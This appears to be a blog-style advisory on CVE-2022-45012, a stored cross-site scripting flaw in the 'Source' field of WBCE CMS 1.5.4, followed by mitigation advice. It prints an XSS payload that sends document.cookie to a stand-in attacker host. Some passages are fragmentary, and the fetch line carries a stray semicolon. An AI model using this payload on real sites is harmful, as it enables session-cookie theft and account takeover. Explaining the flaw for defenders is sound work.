Modern content management systems (CMS) are the heartbeat of most websites, allowing easy updates and management of digital content without needing deep technical knowledge. But, like all software, they sometimes come with dangerous flaws. One such issue surfaced with WBCE CMS version 1.5.4. Identified as CVE-2022-45012, this bug is a cross-site scripting (XSS) vulnerability inside the “Modify Page” module — and you won’t believe how easy it is to exploit.

What is CVE-2022-45012?

CVE-2022-45012 is a security issue discovered in WBCE CMS v1.5.4. When users try to modify a page using the admin interface, there’s a field called “Source.” The application fails to sanitize inputs correctly in this field, opening the door to classic XSS attacks.

In simple language:
If a bad person can edit or create a page and puts a sneaky bit of code into the "Source" field, that code will run in the browser of anyone who later visits the page — including site admins.

Manipulate site content without permission.

If you run WBCE CMS 1.5.4 and allow users or editors to modify pages, they could steal admin session cookies or inject phishing forms.

How The Exploit Works (With Code Example)

Let’s look at exactly how an attacker might use this XSS flaw to inject code into your site.

The Scenario

- Attacker is logged in, or somehow has access to modify/create a page.

Instead of entering normal content, the attacker enters something like

<script>alert('Hacked by XSS!')</script>

Or something more devious, like

<script>
fetch('https://evil-collector.example.com?cookie='; + document.cookie);
</script>

Victim Views The Page

Next time any user (including admin) opens the page, the malicious JavaScript is executed in their browser.

Why Does This Work?

WBCE CMS v1.5.4 fails to sanitize or encode the contents of the "Source" field before displaying it in the browser. Anything entered there will run as code!

Site Defacement: Manipulate page text, images, or links to show spam or phishing content.

- Broader Attacks: Launch drive-by downloads, redirect users to malicious sites, or pivot to target other systems.

1. Update ASAP

Upgrade WBCE CMS to a fixed version as soon as an update is available! Reach out to the official WBCE CMS site for patches.

2. Sanitize Input

If updating isn’t possible, sanitize HTML inputs with trusted libraries on both the client and server side.

3. Restrict Access

Limit CMS admin/modification permissions to only trusted users.

4. Security Plugins

Use security plugins or Web Application Firewalls (WAF) to block potential XSS payloads.

Official References

- WBCE CMS Website
- NVD Details on CVE-2022-45012
- Exploit Database Advisory
- WBCE CMS GitHub Repository
- OWASP XSS Explanation

Final Thoughts

CVE-2022-45012 is a shining example of how a simple oversight in input validation can have serious consequences for website security. Always sanitize user inputs, update your CMS, and remember: if you let users enter HTML, you’re letting them *potentially* run code as you.

For more in-depth technical analysis and updates, keep an eye on the official WBCE changelog. And if you’re still on version 1.5.4, patch today — before someone else does.

Timeline

Published on: 11/21/2022 15:15:00 UTC
Last modified on: 11/21/2022 20:29:00 UTC